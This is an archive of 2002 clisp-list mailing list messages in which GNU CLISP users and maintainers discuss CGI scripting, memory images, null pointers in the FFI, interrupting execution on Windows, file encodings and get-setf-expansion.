(load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas"))

(princ "<pre>")
  (princ (shell "set"))
(princ "</pre>")

And returns the list of environment variables to the client.
(NB to access environment variables individually refer
http://clisp.sourceforge.net/clash.html)

I consider I will be able to go a long way in providing rich content
before I need to load the initialisation file persistently in a
continually running clisp environment.

It annoys me that each script has to contain:

#!/usr/bin/clisp
(load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas"))

To allow each CGI access to the required macros, etc. It would be nice
if I could hack mod_cgi so that this initialisation text was included by
the module (if for example the filename suffix was "lisp").

Regards,
Adam



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> * In message <1026786537.2031.30.camel@work>
> * On the subject of "Re: [clisp-list] clisp, mod_lisp and lockups"
> * Sent on 16 Jul 2002 14:28:57 +1200
> * Honorable Adam Warner <lists@consulting.net.nz> writes:
>
> On Mon, 2002-07-15 at 06:19, Sam Steingold wrote:
>
> > if you create a test case reproducible without apache, I can try to
> > debug it.
>
> Thanks for the offer of help Sam. I spent a while looking at how I
> would go about attempting to create my own version of mod_lisp for
> Apache 2 and learned a lot about apache module development in the
> process. But in the process I also realised that clisp is great for
> plain CGI development!

indeed, CLISP is the perfect tool for any job (except heavy FP
computations, and even there FFI can get you a long way :-)

> #!/usr/bin/clisp
> (load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas"))

do you know about memory images?
<http://clisp.cons.org/impnotes.html#image>

> (princ "<pre>")
>   (princ (shell "set"))
> (princ "</pre>")
>
> And returns the list of environment variables to the client.
> (NB to access environment variables individually refer
> http://clisp.sourceforge.net/clash.html)

hmmm....
I don't like that you refer to clash.html for information on CLISP
internals and I don't like that you have to resort to SHELL to list
your environment.

I just fixed that.
Now (getenv nil) returns all the environment as an alist and it is
documented in the impnotes.

thanks for bringing this to my attention.

> It annoys me that each script has to contain:
>
> #!/usr/bin/clisp
> (load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas"))
>
> To allow each CGI access to the required macros, etc. It would be nice
> if I could hack mod_cgi so that this initialisation text was included by
> the module (if for example the filename suffix was "lisp").

dump your own image and use

#!/usr/bin/clisp -M my-cgi-image.mem

see <http://clisp.cons.org/clisp.html#opt-memfile>

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I urge you to try out the current development version from the CVS.
provide/require has been brought more in line with the ANSI CL standard,
and I would like you to make sure that nothing has been broken in the
process. (remember the stupid typo on 2.28 that broke provide/require?)
thanks!

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Let's suppose I have to interface the following C code:

--*-- hairy.h 
typedef struct 
{
  /* A lot of fields, many of them function pointers, used only
     by C functions. */
}
REALLY_HAIRY_STRUCT;

REALLY_HAIRY_STRUCT * make_really_hairy_struct (int how_many_hair);

int do_something (REALLY_HAIRY_STRUCT *h);
--*-- 

--*-- hairy.c
REALLY_HAIRY_STRUCT *
make_really_hairy_struct (int how_many_hair)
{
  REALLY_HAIRY_STRUCT *result = malloc (sizeof (REALLY_HAIRY_STRUCT));
  /* Structure initializaton. */
  return result;
}
int
do_something (REALLY_HAIRY_STRUCT *s)
{
  printf ("do_something: %p\n", s);
  if (s != 0)
    {
      printf ("Freeing %p...\n", s);
      free (s);
    }
  return 0;
}
--*--

To solve the problem I wrote the following lisp file:

--*-- hairy.lisp
(use-package :ffi)

(def-c-type REALLY-HAIRY-STRUCT c-pointer)

(def-c-call-out make-really-hairy-struct
  (:arguments (how-many-hair int :in))
  (:name "make_really_hairy_struct")
  (:return-type REALLY-HAIRY-STRUCT))

(def-c-call-out do-something
  (:name "do_something")
  (:arguments (h REALLY-HAIRY-STRUCT :in))
  (:return-type int))
--*--

I compiled it, linked, made a module etc. It works fine:

[6]> (make-really-hairy-struct 1200)
#<FOREIGN-ADDRESS #x0828F238>
[7]> (do-something *)
do_something: 0x828f238
Freeing 0x828f238...
0

The problem is: how can I call do_something from CLISP passing it a
null pointer as argument? NIL or 0 are not automatically converted
into FFI:C-POINTER and AFAIK there isn't any way to create a foreign
object at runtime.

I devised the following workaround: I defined an external C variable
in hairy.c:

   void * c_null = 0;

and a c-var in hairy.lisp:

   (def-c-var NULL (:name "c_null") (:type c-pointer))

so I can call do-something with NULL as argument:

[8]> (do-something NULL)
do_something: (nil)
0

Is there any better solution? Or is such a null foreign pointer
already defined somewhere? 

Ciao,
Aurelio



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> * In message <15668.34082.592660.786140@dalet.fauser.it>
> * On the subject of "[clisp-list] FFI:C-POINTER and C null pointers"
> * Sent on Tue, 16 Jul 2002 22:42:10 +0200
> * Honorable Aurelio Bignoli <a.bignoli@computer.org> writes:
>
> (def-c-call-out do-something
>   (:name "do_something")
>   (:arguments (h REALLY-HAIRY-STRUCT :in))
>   (:return-type int))

does
        (h (c-ptr-null REALLY-HAIRY-STRUCT) :in)
help?
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On Wed, 2002-07-17 at 02:03, Sam Steingold wrote:
 
> > #!/usr/bin/clisp
> > (load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas"))
> 
> do you know about memory images?
> <http://clisp.cons.org/impnotes.html#image>
> 
> > (princ "<pre>")
> >   (princ (shell "set"))
> > (princ "</pre>")
> >
> > And returns the list of environment variables to the client.
> > (NB to access environment variables individually refer
> > http://clisp.sourceforge.net/clash.html)
> 
> hmmm....
> I don't like that you refer to clash.html for information on CLISP
> internals and I don't like that you have to resort to SHELL to list
> your environment.
> 
> I just fixed that.
> Now (getenv nil) returns all the environment as an alist and it is
> documented in the impnotes.

Thanks for implementing this!

> >  #!/usr/bin/clisp
> >  (load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas"))

> dump your own image and use
> 
> #!/usr/bin/clisp -M my-cgi-image.mem
> 
> see <http://clisp.cons.org/clisp.html#opt-memfile>

It is a great idea and it will mean an initialisation file will be able
to greatly increase in complexity without a corresponding increase in
startup times.

One annoyance is that the memory image should be loaded from a different
directory (e.g. DOCUMENT_ROOT--not the current directory where it will
not exist). The Catch 22 is that before a clisp or bash shell is loaded
I cannot obtain the value of DOCUMENT_ROOT. I don't like hard wiring
paths (NB the CGI path only contains "/sbin:/bin:/usr/sbin:/usr/bin" but
a symlink from within this path is not obeyed in the #! line. One
workaround is to place a symlink to the memory image within each CGI
working directory).

BTW Joerg-Cyril, no I've only been looking at clisp startups at this
stage. And they are impressive. Even though perl will probably have
faster startup times I suspect that the ability to dump clisp memory
images is a huge bonus, especially as program complexity increases.

Regards,
Adam




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Hi,

Context:
>> * Honorable Aurelio Bignoli <a.bignoli@computer.org>
wishes to pass either a FFI:C-POINTER interface type (FOREIGN-ADDRESS Lisp object type) or a NULL pointer to a foreign function - a somewhat common request.

Sam asks:
>does
>        (h (c-ptr-null REALLY-HAIRY-STRUCT) :in)
>help?
Not directly. This is a strictly incompatible type (i.e. ptr** instead of ptr*). The C interface code would have to be changed to accomodate this.

This sort of double indirection is what CLISP's regexp module uses. regexp does this essentially in order to receive two results from the initialization function: a status code, and the pointer - if successful. So it is used with mode :out. In C, out parameters have to be used to mimic multiple returns (unless you return a single struct with two slots).

>I defined an external C variable in hairy.c:
>Is there any better solution? Or is such a null foreign pointer
>already defined somewhere? 

Newer CLISP (CVS only) may include exactly such a thing, named ffi_user_pointer (or so). I believe this patch of mine was accepted into CVS. Try
(typep (setq v0 (ffi::lookup-foreign-variable "ffi_user_pointer"
	  (ffi::parse-c-type 'ffi:c-pointer)))
  'ffi:foreign-variable)
(EVAL-WHEN (LOAD) (DEF-C-VAR zp ... "ffi_user_pointer" ...)
and use CAST, SETF etc. on zp.

>AFAIK there isn't any way to create a foreign
>object at runtime.
These longstanding shortcomings have been addressed.
Newer CLISP let you play with run-time foreign variables, run-time functions and more.

Other solutions or work-arounds:
 o devise a second ffi-call-out that accepts null (and only null), i.e. (foo null :in) -- used I believe in the linuxbindings.
 o revisit C interface not to accept NULL
 o I forgot

Conceptually, I believe one must realize that passing NULL when a FILE* or HAIRY_PTR* is expected is a braindamage from C, which endangers reliable software. From a functional point of view, there is no such thing as passing an object of the wrong type (NULL) to a function declared as accepting type HAIRY. This is hidden polymorphism. I like the functional approach to interface descriptions and functionality.
Java inherited the same braindamage from C. Try supplying a the Java #null object to many functions accepting an object: they crash at some stage with nullpointerexception, instead of simply refusing to be passed in that #null object.
And then, where does Java document whether receiving a #null is acceptable for each parameter for each method?

I realize this is not really pragmatic approach, it sounds rather puristic. When dealing with foreign worlds, perhaps a pragmatic approach would fit CLISP better ? But then, what do we have type definitions and type checks for, even in C?

CVS CLISP may also contain a few utility functions of mine, namely UNSIGNED-INT<->FOREIGN-ADDRESS conversion functions (FOREIGN-ADDRESS-UNSIGNED and its converse).

For your purpose, (UNSIGNED-FOREIGN-ADDRESS 0) may be safer to use, since the ffi_user_pointer could be set to any arbitrary value by other application code.
1. Break [20]> (ffi::unsigned-foreign-address 0)
#<FOREIGN-ADDRESS #x00000000>
(defconstant FFI-NULL (ffi:UNSIGNED-FOREIGN-ADDRESS 0)) ; doesn't survive/resurrect from image files.

Part of the pragmatic approach might be: why not make CLISP accept nil when a C-POINTER type is expected? The answer is that there are some dangerous issues here, right at the next turn (and a cascade of other questions, e.g. what value to return for C-POINTER: nil or #<FOREIGN-ADDRESS 00000000>? FFI so far obviously returns a FOREIGN-ADDRESS, my AFFI returns NIL, so the result is not truly opaque in AFFI). It's been some monthes since I last digged into this, trying to provide a precise answer. People also have been begging for c-ptr-null :out or :in-out combinations, which seems appealing, but just doesn't fit the model of types.
When one wishes to supply a C function with either NULL or a pointer, the answer (so far) is to forget about CLISP's high-level FFI and :in/:out parameters in general, to put oneself at a C level, where such things don't exist, and feed functions with pointers or NULL (as is possible in CMUCL: it incorporates two levels of abstraction in its FFI).

Regards,
	Jorg Hohle.


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Hello,

I am using CLISP version 2.28 (2002-03-03) under Windows NT.=20

I would like to know the proper way of interrupting the execution of =
a program
in order to examine the current values of some variables, and then re=
sume
the execution from the current position.

The use of the key combination CTRL-BREAK actually interrupts the exe=
cution=20
of a program. Unfortunately, it does not seem possible to resume the =
execution=20
after this interruption.

Here are two examples, displaying different troubles.

1) Execution of the command

      (progn (setq i 1) (dotimes (j 1000000) (incf i)))

Pressing CTRL-BREAK during execution produces
an immediate exit from CLISP to the operating system !

2) Execution of the same command, only preceded by the function #'tim=
e,
namely=20

      (time (progn (setq i 1) (dotimes (j 1000000) (incf i))))

In this case, pressing CTRL-BREAK indeed interrupts execution,
and displays

    *** - EVAL : User break
    1. Break [...]>

At this point, it is possible to take some actions, like examining th=
e values
of variables. However resuming execution seems impossible. Typing
the word     continue      again produces the immediate exit from CLI=
SP.

Please help me !

Bye.

Michel Kervaire


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<DIV><FONT face=3DArial size=3D2>I am using CLISP version 2.28 (2002-=
03-03) under=20
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<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
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<DIV><FONT face=3DArial size=3D2>in order to examine the current valu=
es of some=20
variables, and then resume</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>the execution from the current=20
position.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The use of the key combination&nbsp;=
CTRL-BREAK=20
actually interrupts the execution </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>of a program. </FONT><FONT face=3DAr=
ial=20
size=3D2>Unfortunately, it does not seem possible to resume the execu=
tion=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>after this </FONT><FONT face=3DArial=
=20
size=3D2>interruption.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Here are two examples, displaying di=
fferent=20
troubles.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1) Execution of the command</FONT></=
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<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (prog=
n (setq i 1)=20
(dotimes (j 1000000) (incf i)))</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Pressing CTRL-BREAK during execution=
=20
produces</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>an immediate exit&nbsp;from CLISP to=
 the operating=20
system !</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>2)&nbsp;Execution of&nbsp;the same=
=20
command,&nbsp;only preceded by the function #'time,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>namely </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp; (time (pro=
gn (setq i 1)=20
(dotimes (j 1000000) (incf i))))</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>In this case, pressing CTRL-BREAK </=
FONT><FONT=20
face=3DArial size=3D2>indeed interrupts execution,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>and displays</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; *** - EVAL : User=
=20
break</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; 1. Break [...]&gt=
;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>At this point, it is possible to tak=
e some actions,=20
like examining the values</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>of variables. However resuming execu=
tion seems=20
impossible. Typing</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>the word&nbsp;&nbsp;&nbsp;&nbsp;=
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ate=20
exit&nbsp;from CLISP.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Please help me !</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Bye.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Michel Kervaire</FONT></DIV>
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> * In message <000a01c22da7$d30abd80$0e70c281@unige.ch>
> * On the subject of "[clisp-list] interrupting program execution in CLISP under Windows"
> * Sent on Wed, 17 Jul 2002 17:37:14 +0200
> * Honorable Michel Kervaire <Michel.Kervaire@math.unige.ch> writes:
>
> I am using CLISP version 2.28 (2002-03-03) under Windows NT. 
> 
> I would like to know the proper way of interrupting the execution of a
> program in order to examine the current values of some variables, and
> then resume the execution from the current position.

Did you try C-c (as opposed to C-BREAK)?
I think they are treated differently.

Arseny Slobodjuck is our resident win32 expert.
I hope he will help you.

-- 
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How is it that in one installation of CLISP 2.27, my 
*default-file-encoding* is set to charset:iso-8859-1, and 
in another it is charset:ascii? Strange.



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> * In message <Pine.LNX.4.44.0207171000360.21120-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Re: *default-file-encoding*"
> * Sent on Wed, 17 Jul 2002 10:03:16 -0700 (PDT)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> How is it that in one installation of CLISP 2.27, my 
> *default-file-encoding* is set to charset:iso-8859-1, and 
> in another it is charset:ascii? Strange.

*default-file-encoding* et al are computed at start time using your
environment.

I bet that you have LANG set to en_US in one terminal and C in another.


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>> I am using CLISP version 2.28 (2002-03-03) under Windows NT.
>> I would like to know the proper way of interrupting the execution of a
>> program in order to examine the current values of some variables, and
>> then resume the execution from the current position.

Sam> Did you try C-c (as opposed to C-BREAK)?
Sam> I think they are treated differently.

Sam> Arseny Slobodjuck is our resident win32 expert.
Sam> I hope he will help you.

I have nothing to add to this. Ctrl-break should end Clisp session,
Ctrl-C - just current program. I'll look why Ctrl-break doesn't
interrupt Clisp session.


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Thank you for your answer. Indeed, C-c does interrupt the current program.
Unfortunately, it is not always possible to resume execution.  The ability
to properly resume execution depends on the message displayed after
pressing C-c:

- If the displayed message contains
                       "** - Continuable Error",
then no problem in this case, pressing ":c" or "continue" resumes execution.

- However, if the displayed message contains instead
     "*** - Ctrl-C: User break",
then resumption seems to be impossible.

I should add that the second possibility does not occur with the simple
program in my previous message. However, it does occur with more
complicated programs.

Best regards,

Michel Kervaire


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>
> >> I am using CLISP version 2.28 (2002-03-03) under Windows NT.
> >> I would like to know the proper way of interrupting the execution of a
> >> program in order to examine the current values of some variables, and
> >> then resume the execution from the current position.
>
> Sam> Did you try C-c (as opposed to C-BREAK)?
> Sam> I think they are treated differently.
>
> Sam> Arseny Slobodjuck is our resident win32 expert.
> Sam> I hope he will help you.
>
> I have nothing to add to this. Ctrl-break should end Clisp session,
> Ctrl-C - just current program. I'll look why Ctrl-break doesn't
> interrupt Clisp session.
>
>
> --
> Best regards,
>  Arseny                            mailto:ampy@ich.dvo.ru
>
>



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>>>>> "Jorg" == Hoehle, Joerg-Cyril <Joerg-Cyril.Hoehle@t-systems.com> writes:

    Jorg> (ffi::lookup-foreign-variable "ffi_user_pointer"
    Jorg> (ffi::parse-c-type 'ffi:c-pointer))) 'ffi:foreign-variable)

really interesting! I didn't know of ffi::lookup-foreign-variable.

    Jorg> Other solutions or work-arounds: 
    Jorg>  o devise a second ffi-call-out that accepts null (and only
    Jorg> null),

I examined this solution, but I discarded it because I was going to
write a further Lisp layer with functions like this:

(defun high-level-do-something (&key (hairy-struct NULL))
  (do-something hairy-struct))

Using a NULL foreign variable as default value for :hairy-struct would
save an (if (null hairy-struct) ...) in function's body.

    Jorg> Conceptually, I believe one must realize that passing NULL
    Jorg> when a FILE* or HAIRY_PTR* is expected is a braindamage from
    Jorg> C, which endangers reliable software.

I agree with you, but I didn't write the library I'm interfacing, and
modifying the (free) sources is not a viable solution.

    Jorg> For your purpose, (UNSIGNED-FOREIGN-ADDRESS 0) may be safer
    Jorg> to use, since the ffi_user_pointer could be set to any
    Jorg> arbitrary value by other application code.

I think I'll try this solution, I only need to perform a cvs update on
my local copy of CLISP sources.

Many thanks for your hints and useful insights into CLISP ffi.

Aurelio



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Date: Fri Jul 19 07:02:04 2002
X-Original-Date: Fri, 19 Jul 2002 16:00:57 +0200

Aurelio Bignoli wrote:

>    Jorg> (ffi::lookup-foreign-variable "ffi_user_pointer"
>    Jorg> (ffi::parse-c-type 'ffi:c-pointer))) 'ffi:foreign-variable)
>really interesting! I didn't know of ffi::lookup-foreign-variable.

I should have said that you shouldn't use that in application code. I feel that I ought to document internals so people can propose high-level forms, built on the internals, for inclusion in CLISP's FFI.

For access to the variable now in CVS CLISP, existing forms are sufficient:

(eval-when (load eval)
  (ffi:def-c-var an-ffi-pointer (:name "ffi_user_pointer") (:type ffi:c-pointer)))

The EVAL-WHEN is important so that compilation of the containing file generates no C code as a side effect of compiling FFI:DEF-C-* forms.

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	Jorg Hohle.


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Date: Fri Jul 19 07:04:10 2002
X-Original-Date: Fri, 19 Jul 2002 16:03:18 +0200

I wrote:

>User beware: fp_valid() etc. are to be called on the 
>FOREIGN-POINTER object, which is a slot within the 
>FOREIGN-ADDRESS one (pointer indirection, not substructure).

>My extensions to the CLISP FFI (not sure it even in CVS yet) 
>provide better access to the VALID bit from Lisp: 
>(FFI:MARK-INVALID-FOREIGN foreign-address) and hide the 
>FOREIGN-POINTER vs FOREIGN-ADDRESS dichotomy.

I omitted to explain that you must not call MARK-INVALID-FOREIGN on a FOREIGN-ADDRESS object returned via :return-type ffi:c-pointer of a DEF-CALL-OUT function!

Doing so would invalidate the unique foreign session pointer (O(fp_zero) in .d code) that CLISP uses for all usual FOREIGN-ADDRESS/VARIABLE/FUNCTION objects. The FFI would become mostly unusable in your current CLISP session.

You can use MARK-INVALID-FOREIGN or mark_fp_invalid() on pointers you allocated yourself in your module's constructors (via allocate_pointer()).

For example, future CLISP (I think not yet in CVS) will do that for the yet-to-be-polished m/calloc/free interface, and already do so in CVS CLISP for the WITH-FOREIGN-OBJECT WITH-C-VAR macros.

What's important to notice:

All FOREIGN-ADDRESS objects derived from the same FOREIGN-POINTER object share the VALID bit. This can be used for dependency tracking.

For example, with the FFI on AmigaOS, all FOREIGN-FUNCTION objects from a shared library become invalid and thus not callable as soon as the library is closed.

Few month ago, I had ideas about providing a Lisp-level interface to control the dependency between FOREIGN-ADDRESS and FOREIGN-POINTER objects, but I have since forgotten what I had planned ((SET-FOREIGN-BASE x :new)??).

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	Jorg Hohle.


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Date: Fri Jul 19 07:18:38 2002
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Sam asked:
>>this is easy to fix - just run all finalizers on exit.  should it be?
>>what are the issues?  (obviously, the possible errors while running
>>the finalizers have to be ignored -- what else?)

>o Finalizers which do nothing more than free() or 
>close[socket]() are superfluous and waste precious time when 
>an application has been ordered to exit. I.e. all finalizers 
>for resources which the OS closes itself upon program exit.

From my own experience with modules, I'd say that a module exit function is what I'm missing, not finalization for every resource obtained via the library. And perhaps some dependency mechanism would be useful as well. The reason is that shared libraries mostly do resource tracking themselves.
I.e., I believe I don't need to close all sockets before closing the socket library. Therefore, when shutting down, it's advantageous not to pedantically close single resources when they can go away in one go (e.g. don't do thousands of 8byte frees when one sbrk() or free_pool_for_tiny_mallocs() is enough).

However, my experience may be biased by the fact that I wrote all modules by hand, i.e. I wrote C code. People who use the FFI to define interface stubs to existing libraries may rightly wish to achieve this without writing C code.

Maybe this is just a matter of having Lisp-level functions like MARK-INVALID-FOREIGN to to the kind of things in Lisp I so far preferred to do in C.
Maybe not.

The previously mentioned issue of whether it's acceptable to run arbitrary user code after EXT/SYS:EXIT has been called comes to mind again. Combined with the issue of what (possibly corrupt) state the Lisp system may be in when EXIT is invoked by Lisp code, or by CLISP itself.

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	Jorg Hohle.


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Hi All

I am trying to learn Lisp and as my first language is
Perl I am used to using regexps for pattern matching.
I would like to continue using them with CLISP. I
tried to build CLISP myself (with the regexp module)
but didn't manage to. Question is, is there a binary
build for Linux, compiled with regexp?

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Grzegorz Chrupala <grechru@yahoo.com> writes:

> Hi All
> 
> I am trying to learn Lisp and as my first language is
> Perl I am used to using regexps for pattern matching.
> I would like to continue using them with CLISP. I
> tried to build CLISP myself (with the regexp module)
> but didn't manage to. Question is, is there a binary
> build for Linux, compiled with regexp?
> 
> Thanks,
> 
> Gregor

1) why couldn't you build the regexp module? 

2) there are pure lisp regexp packages which do not require rebuilding
   CLISP. Go to the Regular Expression section on the Cliki:

   http://ww.telent.net/cliki/Regular%20Expression

   pregexp is slow but is the most perl like. Michael Parker's is fast
   and feature complete enough to be very usefull (the only feature i
   miss are zero-wdith positive/negative look ahead/behind assertions,
   but those can usually be faked anyway).

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> * In message <20020723085805.75843.qmail@web20007.mail.yahoo.com>
> * On the subject of "[clisp-list] RPM with REGEXP"
> * Sent on Tue, 23 Jul 2002 10:58:05 +0200 (CEST)
> * Honorable Grzegorz Chrupala <grechru@yahoo.com> writes:
>
> I am trying to learn Lisp and as my first language is
> Perl I am used to using regexps for pattern matching.

Well, regexps are very limited in what can be accomplished with them.
(e.g., they are not "Turing complete").
I urge you to explore the power of functional and OO programming
instead of writing Perl code in Common Lisp syntax.
Get Paul Grahams "ANSI Common Lisp" and "On Lisp" and read them.
You will not regret the investment.

> I would like to continue using them with CLISP.

Note that CLISP uses the standard POSIX regexp format (same as egrep and
Emacs) and not the Perl regexp format.
<http://clisp.cons.org/impnotes.html#regexp>
Feel free to rip perl regexps from perl and make a CLISP module.

> I tried to build CLISP myself (with the regexp module)
> but didn't manage to.

what was your problem?

> Question is, is there a binary
> build for Linux, compiled with regexp?

The usual places, e.g.,
<http://sourceforge.net/project/showfiles.php?group_id=1355>
install the RPM and run clisp as

$ clisp -K full

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Currently, (get-setf-expansion ''z) produces:

(#:G232) ;
(Z) ;
(#:G231) ;
((SETF QUOTE) #:G231 #:G232) ;
'#:G232

In typical usage, this would be converted to

(let ((#:g232 z))
  (multiple-value-bind (some-var)
    '#:g232
    (progn (do-something))))

But there is no Z variable.  We really wanted the symbol Z.

This occurs when, for example, you want to implement your own version
of shiftf (for learning) and use something like (shiftf x (cdr y) 'z).

It seems to my feeble mind that get-setf-expansion should return
something like

NIL ;
NIL ;
(#:G231) ;
((SETF QUOTE) #:G231 #:G232) ;
'Z

Then the typical usage would be

  (multiple-value-bind (some-var)
    'z
    (progn (do-something)))

My thinking must be wrong....

Ray


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> * In message <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se>
> * On the subject of "[clisp-list] (get-setf-expansion ''z)?"
> * Sent on 23 Jul 2002 10:43:17 -0400
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>
> This occurs when, for example, you want to implement your own version
> of shiftf (for learning) and use something like (shiftf x (cdr y) 'z).

'z is a constant.
(setf 'z foo) does not make sense.
am I totally confused?

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se>
    >> * On the subject of "[clisp-list] (get-setf-expansion ''z)?"
    >> * Sent on 23 Jul 2002 10:43:17 -0400
    >> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
    >> 
    >> This occurs when, for example, you want to implement your own version
    >> of shiftf (for learning) and use something like (shiftf x (cdr y) 'z).

    Sam> 'z is a constant.
    Sam> (setf 'z foo) does not make sense.
    Sam> am I totally confused?

It's an example from the CLOCC ansi tests (that Clisp gets right, but
CMUCL doesn't).

What the shiftf is doing is setting (cdr y) to 'z, but nothing is done
with 'z, so this is ok.  (shiftf x 'z (cdr y)) is, of course, an error
since you can't setf 'z to anything.

Ray


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> * In message <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] (get-setf-expansion ''z)?"
> * Sent on 23 Jul 2002 11:14:14 -0400
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> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     >> * In message <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se>
>     >> * On the subject of "[clisp-list] (get-setf-expansion ''z)?"
>     >> * Sent on 23 Jul 2002 10:43:17 -0400
>     >> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>     >> 
>     >> This occurs when, for example, you want to implement your own version
>     >> of shiftf (for learning) and use something like (shiftf x (cdr y) 'z).
> 
>     Sam> 'z is a constant.
>     Sam> (setf 'z foo) does not make sense.
>     Sam> am I totally confused?
> 
> It's an example from the CLOCC ansi tests (that Clisp gets right, but
> CMUCL doesn't).
> 
> What the shiftf is doing is setting (cdr y) to 'z, but nothing is done
> with 'z, so this is ok.  (shiftf x 'z (cdr y)) is, of course, an error
> since you can't setf 'z to anything.

I see!

but you do not need to compute (get-setf-expansion '<expr>) to
macroexpand (shiftf .... <expr>)!

the point is that setting (quote foo) is impossible so
(get-setf-expansion ''z) does not make sense.

It might make sense to signal an error on (get-setf-expansion ''z),
but I see no reason to return anything useful there.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se>
    >> 
    >> It's an example from the CLOCC ansi tests (that Clisp gets right, but
    >> CMUCL doesn't).
    >> 
    >> What the shiftf is doing is setting (cdr y) to 'z, but nothing is done
    >> with 'z, so this is ok.  (shiftf x 'z (cdr y)) is, of course, an error
    >> since you can't setf 'z to anything.

    Sam> I see!

    Sam> but you do not need to compute (get-setf-expansion '<expr>) to
    Sam> macroexpand (shiftf .... <expr>)!

Well, that just means that I'd have to special case the last
expression in the macroexpander.  Possible to do, but I rather like
just running down all of the elements and calling g-s-e.

BTW, this was one of several ways I tried when I tried to add shiftf
support with multiple values for CMUCL.

    Sam> the point is that setting (quote foo) is impossible so
    Sam> (get-setf-expansion ''z) does not make sense.

    Sam> It might make sense to signal an error on (get-setf-expansion ''z),
    Sam> but I see no reason to return anything useful there.

Well, it does make some sense instead of producing an error.  You just
have to know not to try to set it.  Everything else is ok.

I don't know how clisp does this for shiftf.  From the output, it
seems that it doesn't call g-s-e on the last arg of shiftf, but it's
possible shiftf is massaging it into something else.

Ray


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calling GET-SETF-EXPANSION on the last arg to SHIFTF does not make
sense. think of (shiftf a b c 10)

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> calling GET-SETF-EXPANSION on the last arg to SHIFTF does not make
    Sam> sense. think of (shiftf a b c 10)

Then what are you supposed to do for 

(shiftf (values a b) (values (cdr x) (car y)) (values 'foo (bar)))

Ok.  I guess shiftf has to do something special with the last arg, no
matter what g-s-e does, since g-s-e doesn't work for numbers.

Anyway, I'm not really arguing one way or the other.  I'm just trying
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> * In message <4nr8hua0la.fsf@edgedsp4.rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] (get-setf-expansion ''z)?"
> * Sent on 23 Jul 2002 12:08:33 -0400
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
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> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     Sam> calling GET-SETF-EXPANSION on the last arg to SHIFTF does not make
>     Sam> sense. think of (shiftf a b c 10)
> 
> Then what are you supposed to do for 
> (shiftf (values a b) (values (cdr x) (car y)) (values 'foo (bar)))

nope. :-)

I finally guessed why you cannot look at the CLISP sources: licensing.
(CMUCL is PD, CLISP is GNU GPL, so we can borrow CMUCL code while CMUCL
cannot. :-)

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <4nr8hua0la.fsf@edgedsp4.rtp.ericsson.se>
    >> * On the subject of "Re: [clisp-list] (get-setf-expansion ''z)?"
    >> * Sent on 23 Jul 2002 12:08:33 -0400
    >> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
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    >> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    >> 
    Sam> calling GET-SETF-EXPANSION on the last arg to SHIFTF does not make
    Sam> sense. think of (shiftf a b c 10)
    >> 
